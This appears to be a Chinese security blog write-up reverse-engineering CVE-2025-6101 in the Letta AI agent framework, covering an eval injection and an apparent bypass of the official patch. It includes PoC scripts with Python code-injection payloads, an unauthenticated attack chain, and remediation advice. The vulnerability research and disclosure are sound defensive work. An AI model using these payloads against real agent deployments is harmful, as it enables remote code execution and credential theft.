深挖 CVE-2025-6101:AI Agent 框架 Letta 的沙箱逃逸与补丁绕过机制逆向
本文逆向分析了 CVE-2025-6101 的官方修复补丁,发现其在沙箱底层硬编码了 allow_unsafe_eval=True,导致针对 ast_parsers.py 的 AST 绕过依然可以触发未授权 RCE。文章完整还原了从 interface.py 到 ast_parsers.py 的双阶段攻击链路,并提供了详细的 PoC 与底层源码分析。
引言
随着 AI Agent(智能体)技术的爆发,其核心组件(如工具执行、代码沙箱)的安全性尚未经过充分的实战检验。CVE-2025-6101 是发生在知名开源 AI 记忆框架 Letta(原 MemGPT)中的一个高危漏洞。
本文逆向分析了 CVE-2025-6101 的官方修复补丁,发现其在沙箱底层硬编码了 allow_unsafe_eval=True,导致针对 ast_parsers.py 的 AST 绕过依然可以触发未授权 RCE。
1.实验环境与架构分析
为了精准还原漏洞与验证修复补丁,我们在本地搭建了两个完全隔离的虚拟环境:
- 版本 A:letta 0.4.1(原始漏洞版本)
- 版本 B:letta 0.16.4(官方声称已修复的版本)
图注:通过双环境隔离,确保后续测试互不干扰
Letta 允许用户通过 API 动态注册并运行自定义工具。在原始版本(0.4.1)中,系统在处理 Agent 的交互消息时,如果消息以 Running 开头,会正则提取参数并直接送入 eval()。
图注:通过双环境隔离,确保后续测试互不干扰第 183 行提取外部参数,第 190 行直接执行 eval。这是典型的未经净化导致的代码注入
2.阶段 A:原始漏洞利用与 LLM 绕过
为了触发漏洞,我们首先需要获取目标 Agent 的 ID。本地服务启动后(Web UI 可正常访问,见图10),通过调用本地 API,我们成功获取了测试用的 ID(agent-ce75...)。
但在尝试通过 HTTP API (/v1/agents/{id}/messages) 触发时遇到工程难题:本地无外网环境时,请求会被前置的 LLM 意图识别模块拦截,抛出网络超时异常。
图注:通过双环境隔离,确保后续测试互不干扰报错证明恶意请求已被正常路由接收,但在进入漏洞点前被大模型鉴权环节拦截
绕过思路:为了精准验证底层逻辑,我们放弃 HTTP 接口,编写了本地 PoC( local_poc.py )直接调用 CLIInterface 的漏洞函数。这绕过了外部大模型依赖,直击漏洞核心。
# local_poc.py
import sys
from letta.interface import CLIInterface
cli = CLIInterface()
payload = "Running archival_memory_insert(__import__('os').system('calc'))"
print(f"[*] 正在向 CLIInterface 传入恶意指令: {payload}")
try:
# 直接调用漏洞函数,触发 eval
cli.function_message(payload)
print("[+] 攻击代码执行完毕!")
except Exception as e:
print(f"[-] 执行发生错误: {e}")执行该脚本后成功触发了 RCE,证明了该漏洞的破坏力:
3.阶段 B:补丁逆向与致命缺陷分析
官方在后续版本(0.16.4)中彻底移除了 interface.py 中的逻辑,将代码解析的重心转移到了 ast_parsers.py ,并引入了安全白名单。但这却埋下了更深的安全隐患。
3.1.看似安全的 AST 解析
官方在 resolve_type 函数中试图通过 ast.parse 进行拦截:
- 防御机制:底层 _resolve_annotation_node 采用白名单机制,遇到 ast.Call 等危险节点时会抛出异常阻断执行。
- 危险命名空间:第 69 行引入了 vars(builtins),将 import 等危险函数暴露在全局字典中。
3.2.致命的异常处理(Catch 的滥用)
仔细看 79-82 行,当 AST 拦截器抛出异常后,代码进入了 except Exception 分支。如果满足 allow_unsafe_eval=True,它会直接回退到 eval()。
理论上,只要攻击者能让系统以 allow_unsafe_eval=True 运行,就能借助恶意类型注解绕过白名单。
3.3.硬编码导致的防线崩溃
为了验证上述理论,我们对全源码进行了 findstr 关键字检索,发现了导致防线彻底崩溃的“内鬼”:
图注:在 tool_execution_sandbox.py 、 tool_manager.py 等核心沙箱调度链路中,官方竟硬编码将 allow_unsafe_eval 设为了 True!这意味着,安全解析器形同虚设,系统不仅留了后门,还在底层主动开启了它
4.攻击链路重构与 EXP 编写
基于上述逆向,我们可以重构出一条针对最新版(0.16.4)的完整攻击链路:
- 入口:攻击者无需认证,向 /v1/tools/run 接口发送 POST 请求。
- 绕过:在提交的工具源码中,构造恶意的类型注解。
- 触发:系统在初始化工具时,调用 resolve_type。安全解析器遇到 ast.Call 报错。
- 逃逸:异常被捕获,由于底层硬编码了 True,直接执行 eval,完成沙箱逃逸。
为了方便复现,编写了针对 0.16.4 版本的 PoC( poc_b.py ):
# poc_b.py
import sys
from letta.functions.ast_parsers import resolve_type
print("[*] 正在测试 ast_parsers.py 的 eval 回退漏洞...")
# 构造恶意 Payload
malicious_annotation = "__import__('os').popen('calc').read()"
try:
print(f"[*] 传入恶意注解: {malicious_annotation}")
# 直接调用 resolve_type,模拟底层沙箱默认开启的硬编码配置
result = resolve_type(malicious_annotation, allow_unsafe_eval=True)
print(f"[+] 执行完毕,返回值: {result}")
except Exception as e:
print(f"[-] 捕获到异常: {e}")执行该脚本后,即便在修复版中,底层 eval 依然被成功触发,弹出计算器,证实了不完整修复的严重性。
5.危害评估与修复建议
5.1.危害评估(Impact Analysis)
在真实的 AI Agent 框架部署场景中,这种未授权的 RCE 漏洞绝不仅仅是“弹个计算器”那么简单。由于 Agent 业务通常与内网、云端和敏感数据高度交互,该漏洞带来的破坏力呈指数级放大:
- 核心机密与云端资产失窃:AI 基础设施(如 Docker/K8s 容器)的环境变量中通常存储着高价值的凭据,如 OPENAI_API_KEY、云厂商的 AK/SK、数据库密码等。攻击者可直接读取这些机密,进而导致天价的 LLM 账单消耗,甚至接管云上基础设施。
- AI 核心记忆与业务逻辑泄露:Letta 的核心卖点是长期记忆(Core Memory)和定制工具。攻击者可通过 RCE 读取 Agent 的上下文状态、系统提示词(System Prompts)以及企业私有的 RAG 知识库,直接导致商业机密泄露,或篡改记忆以实施业务欺诈。
- 内网横向移动的完美跳板:由于安全沙箱通常部署在企业内网,且具备一定的网络访问权限。攻击者可利用此漏洞获取初始 Shell,进而对内网向量数据库(如 Milvus/Chroma)、模型推理节点发起进一步攻击,穿透企业内网边界。
- 沙箱逃逸与宿主机沦陷:底层硬编码的回退机制不仅绕过了应用层的防护,若沙箱本身的隔离机制(如基础容器的 cgroup/namespace)存在配置缺陷,攻击者极易从沙箱逃逸至宿主机,拿到服务器最高权限。
5.2.修复建议(Remediation)
针对该漏洞的“不完整修复”现状,开发团队需从代码实现、架构设计与防御纵深三个层面进行彻底整改:
代码层整改(立即执行)
- 彻底移除 eval 回退:在 ast_parsers.py 的 resolve_type 函数中,遇到无法解析的节点必须直接抛出 ValueError 并阻断业务,绝不允许将外部参数交还给 eval 执行。
- 收紧危险命名空间:移除第 69 行的 vars(builtins),或者使用安全的白名单字典(如 {"int": int, "str": str, "list": list})来限定作用域,阻断 import 和 exec 的调用链。
- 清理底层硬编码:全面排查 tool_sandbox 及相关的沙箱调度链路,强制移除 allow_unsafe_eval=True,遵循“默认拒绝(Default Deny)”的安全原则。
架构与纵深防御(长期治理)
- 强化沙箱执行隔离:对于允许 LLM 动态生成并执行代码的功能,建议引入具有更高隔离级别的安全沙箱(如 gVisor、Firecracker 微虚拟机),而非仅依赖宿主机内的 Python 进程级隔离。
- 最小权限原则(PoLP):运行 Agent 的容器应配置为非 root 用户执行,并严格限制其对网络和文件系统的访问(如使用只读文件系统、限制出网规则)。
- 引入 SAST 安全审计:在 CI/CD 流水线中强制引入针对 AI 框架的特有规则扫描(如对 ast.parse 后接 eval 的联动检查,以及关键字 allow_unsafe_eval 的审查),防止类似高危回退代码再次混入主干分支。
6.总结与安全启示
总结:
本文通过对 CVE-2025-6101 从原始复现到补丁绕过的全链路剖析,揭示了 AI Agent 框架中一个极具代表性的底层设计缺陷:跨文件的信任链断裂。官方虽然在应用层引入了 AST 语法树白名单来试图封堵注入漏洞,但由于在底层的沙箱调度基类(tool_sandbox 等)中硬编码开启了 allow_unsafe_eval=True,导致精心设计的防御机制被直接架空。这种“表面打补丁,底层开大门”的做法,不仅让漏洞死灰复燃,更增加了安全测试人员的发现成本。
安全启示:
6.1.AI Agent 的攻击面极度扩张:
与传统 Web 应用不同,AI Agent 为了执行复杂任务,天生具备解析自然语言、动态生成代码、调用系统工具的能力。这使得大模型本身不仅面临提示词注入(Prompt Injection),其后端的代码执行沙箱更是直接暴露在 RCE 的枪口下。
6.2.安全防御必须“下沉”与“零信任”:
在应对 eval/exec 等危险函数时,绝不能依赖上层的参数传递。任何默认放行的回退机制(Fallback)都应被视为高危缺陷。必须坚持“零信任”原则,在执行引擎的最底层强制收口,任何非预期的语法节点都应被直接拦截,而非抛给危险函数去解析。
6.3.代码审计的全局视角:在漏洞挖掘过程中,
当我们发现某个修补点(如默认参数设为 False)时,切忌止步于此。必须通过全局检索(如本文使用的 findstr),顺藤摸瓜去追踪该变量在整个调用链路中的实际赋值情况。往往正是那些被忽视的底层硬编码,构成了绕过防御的致命突破口。